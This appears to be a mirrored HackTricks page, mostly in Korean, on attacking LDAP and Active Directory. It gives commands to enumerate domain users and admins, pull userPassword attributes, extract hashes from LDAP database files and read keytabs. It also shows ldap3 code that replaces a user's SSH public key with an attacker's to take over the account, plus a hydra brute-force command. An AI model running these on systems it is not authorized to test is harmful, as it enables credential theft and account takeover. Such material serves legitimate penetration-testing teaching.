mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
382 lines
17 KiB
Markdown
382 lines
17 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
**LDAP** (경량 디렉터리 접근 프로토콜)의 사용은 주로 조직, 개인 및 파일과 장치와 같은 리소스를 공공 및 사설 네트워크 내에서 찾기 위해 사용됩니다. 이는 이전 버전인 DAP에 비해 더 작은 코드 풋프린트를 가지고 있어 간소화된 접근 방식을 제공합니다.
|
|
|
|
LDAP 디렉터리는 여러 서버에 분산될 수 있도록 구조화되어 있으며, 각 서버는 디렉터리의 **복제된** 및 **동기화된** 버전을 보유하고 있으며, 이를 디렉터리 시스템 에이전트(DSA)라고 합니다. 요청 처리에 대한 책임은 전적으로 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공합니다.
|
|
|
|
LDAP 디렉터리의 조직 구조는 **루트 디렉터리가 맨 위에 있는 트리 계층 구조**를 닮고 있습니다. 이는 국가로 분기되고, 국가에서 다시 조직으로 나뉘며, 그 후 다양한 부서나 부서를 나타내는 조직 단위로 나뉘고, 마지막으로 개인 엔티티 수준에 도달하여 사람과 파일 및 프린터와 같은 공유 리소스를 포함합니다.
|
|
|
|
**기본 포트:** 389 및 636(ldaps). 글로벌 카탈로그(ActiveDirectory의 LDAP)는 기본적으로 포트 3268 및 3269에서 LDAPS를 사용할 수 있습니다.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### LDAP Data Interchange Format
|
|
|
|
LDIF (LDAP Data Interchange Format)는 디렉토리 내용을 레코드 집합으로 정의합니다. 또한 업데이트 요청(추가, 수정, 삭제, 이름 변경)을 나타낼 수 있습니다.
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
- Lines 1-3 define the top level domain local
|
|
- Lines 5-8 define the first level domain moneycorp (moneycorp.local)
|
|
- Lines 10-16 define 2 organizational units: dev and sales
|
|
- Lines 18-26 create an object of the domain and assign attributes with values
|
|
|
|
## Write data
|
|
|
|
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있습니다. 예를 들어, **사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해 보십시오**. 이 속성이 존재한다면 **ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다**. 사용자의 공개 키를 수정할 수 있다면 **비밀번호 인증이 ssh에서 활성화되지 않았더라도 해당 사용자로 로그인할 수 있습니다**.
|
|
```bash
|
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
## Sniff clear text credentials
|
|
|
|
LDAP가 SSL 없이 사용되면 네트워크에서 **자격 증명을 평문으로 스니핑**할 수 있습니다.
|
|
|
|
또한, **LDAP 서버와 클라이언트** 사이의 네트워크에서 **MITM** 공격을 수행할 수 있습니다. 여기서 클라이언트가 **평문 자격 증명**을 사용하여 로그인하도록 **다운그레이드 공격**을 할 수 있습니다.
|
|
|
|
**SSL이 사용되는 경우** 위에서 언급한 것처럼 **MITM**을 시도할 수 있지만 **잘못된 인증서**를 제공하여, **사용자가 이를 수락하면** 인증 방법을 다운그레이드하고 자격 증명을 다시 볼 수 있습니다.
|
|
|
|
## Anonymous Access
|
|
|
|
### Bypass TLS SNI check
|
|
|
|
[**이 글**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 따르면 임의의 도메인 이름(예: company.com)으로 LDAP 서버에 접근하기만 하면 익명 사용자로서 LDAP 서비스에 연락하고 정보를 추출할 수 있었습니다:
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### LDAP 익명 바인딩
|
|
|
|
[LDAP 익명 바인딩](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)은 **인증되지 않은 공격자**가 도메인에서 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 비밀번호 정책의 전체 목록과 같은 정보를 검색할 수 있도록 허용합니다. 이는 **구식 구성**이며, Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다.\
|
|
그러나 관리자는 **특정 애플리케이션을 설정하여 익명 바인딩을 허용해야 할 필요가 있었**고, 그로 인해 의도한 것보다 더 많은 접근 권한을 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있게 했을 수 있습니다.
|
|
|
|
## 유효한 자격 증명
|
|
|
|
LDAP 서버에 로그인할 수 있는 유효한 자격 증명이 있는 경우, 다음을 사용하여 도메인 관리자에 대한 모든 정보를 덤프할 수 있습니다:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
|
|
|
## Enumeration
|
|
|
|
### Automated
|
|
|
|
Using this you will be able to see the **공개 정보** (like the domain name)**:**
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>See LDAP enumeration with python</summary>
|
|
|
|
You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
|
|
|
|
First try to **connect without** credentials:
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
응답이 이전 예제와 같이 `True`인 경우, 다음에서 LDAP의 **흥미로운 데이터**(예: **명명 컨텍스트** 또는 **도메인 이름**) 서버를 얻을 수 있습니다:
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
일단 네이밍 컨텍스트를 얻으면, 더 흥미로운 쿼리를 만들 수 있습니다. 이 간단한 쿼리는 디렉토리의 모든 객체를 보여줍니다:
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
또는 **dump** 전체 ldap:
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch)는 LDAP 쿼리를 활용하여 **Windows** 도메인에서 사용자, 그룹 및 컴퓨터를 **열거하는** 데 유용한 Python 스크립트입니다.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
null 자격 증명 확인 또는 자격 증명이 유효한지 확인:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
"_bind must be completed_"라는 문구가 나타나면 자격 증명이 잘못되었다는 의미입니다.
|
|
|
|
다음 명령어를 사용하여 **도메인에서 모든 것을 추출**할 수 있습니다:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
**사용자**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
**컴퓨터**
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**내 정보**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**도메인 관리자** 추출:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**도메인 사용자**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**엔터프라이즈 관리자**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**관리자**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**원격 데스크톱 그룹**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
비밀번호에 접근할 수 있는지 확인하려면 쿼리 중 하나를 실행한 후 grep을 사용할 수 있습니다:
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
비밀번호는 실제 비밀번호가 아닐 수 있습니다...
|
|
|
|
#### pbis
|
|
|
|
**pbis**는 여기에서 다운로드할 수 있습니다: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 일반적으로 `/opt/pbis`에 설치됩니다.\
|
|
**Pbis**는 기본 정보를 쉽게 얻을 수 있게 해줍니다:
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## Graphical Interface
|
|
|
|
### Apache Directory
|
|
|
|
[**여기에서 Apache Directory 다운로드**](https://directory.apache.org/studio/download/download-linux.html). 이 도구를 사용하는 [예제는 여기에서 찾을 수 있습니다](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
여기에서 LDAP 서버와 함께 사용할 수 있는 그래픽 인터페이스를 다운로드할 수 있습니다: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
기본적으로 다음에 설치됩니다: _/opt/jxplorer_
|
|
|
|
.png>)
|
|
|
|
### Godap
|
|
|
|
Godap은 AD 및 기타 LDAP 서버의 객체 및 속성과 상호작용할 수 있는 LDAP용 대화형 터미널 사용자 인터페이스입니다. Windows, Linux 및 MacOS에서 사용할 수 있으며, 간단한 바인드, 패스-더-해시, 패스-더-티켓 및 패스-더-인증서와 같은 여러 전문 기능을 지원하며, 객체 검색/생성/변경/삭제, 그룹에서 사용자 추가/제거, 비밀번호 변경, 객체 권한(DACL) 편집, Active-Directory 통합 DNS(ADIDNS) 수정, JSON 파일로 내보내기 등을 포함합니다.
|
|
|
|

|
|
|
|
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)에서 액세스할 수 있습니다. 사용 예제 및 지침은 [Wiki](https://github.com/Macmod/godap/wiki)를 참조하세요.
|
|
|
|
### Ldapx
|
|
|
|
Ldapx는 다른 도구의 LDAP 트래픽을 검사하고 변환하는 데 사용할 수 있는 유연한 LDAP 프록시입니다. LDAP 트래픽을 난독화하여 신원 보호 및 LDAP 모니터링 도구를 우회하려고 시도할 수 있으며, [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) 강연에서 제시된 대부분의 방법을 구현합니다.
|
|
|
|

|
|
|
|
[https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx)에서 다운로드할 수 있습니다.
|
|
|
|
## Authentication via kerberos
|
|
|
|
`ldapsearch`를 사용하여 **NTLM** 대신 **kerberos**에 대해 **인증**할 수 있습니다. 매개변수 `-Y GSSAPI`를 사용하세요.
|
|
|
|
## POST
|
|
|
|
데이터베이스가 포함된 파일에 접근할 수 있다면(예: _/var/lib/ldap_에 있을 수 있음), 다음을 사용하여 해시를 추출할 수 있습니다:
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
john에 비밀번호 해시를 제공할 수 있습니다 ('{SSHA}'에서 'structural'로, 'structural'을 추가하지 않고).
|
|
|
|
### 구성 파일
|
|
|
|
- 일반
|
|
- containers.ldif
|
|
- ldap.cfg
|
|
- ldap.conf
|
|
- ldap.xml
|
|
- ldap-config.xml
|
|
- ldap-realm.xml
|
|
- slapd.conf
|
|
- IBM SecureWay V3 서버
|
|
- V3.sas.oc
|
|
- Microsoft Active Directory 서버
|
|
- msadClassesAttrs.ldif
|
|
- Netscape Directory Server 4
|
|
- nsslapd.sas_at.conf
|
|
- nsslapd.sas_oc.conf
|
|
- OpenLDAP 디렉토리 서버
|
|
- slapd.sas_at.conf
|
|
- slapd.sas_oc.conf
|
|
- Sun ONE Directory Server 5.1
|
|
- 75sas.ldif
|
|
|
|
## HackTricks 자동 명령
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
|
|
|
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
|
|
Entry_7:
|
|
Name: Netexec LDAP BloodHound
|
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
|
```
|
|
{{#include ../banners/hacktricks-training.md}}
|